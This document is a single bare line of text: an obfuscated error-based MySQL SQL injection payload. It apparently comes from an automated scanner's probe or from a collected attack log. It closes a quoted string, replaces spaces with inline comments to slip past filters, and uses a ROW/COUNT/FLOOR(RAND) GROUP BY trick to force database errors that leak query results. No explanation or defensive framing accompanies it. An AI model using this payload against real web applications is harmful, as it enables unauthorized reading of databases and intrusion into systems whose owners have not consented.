1',(SELECT/**/9509/**/FROM/**/(SELECT/**/ROW(9509,2768)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9509=9509,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9037/**/UNION/**/SELECT/**/3988/**/UNION/**/SELECT/**/6384/**/UNION/**/SELECT/**/6760)a/**/GROUP/**/BY/**/x))s)-- -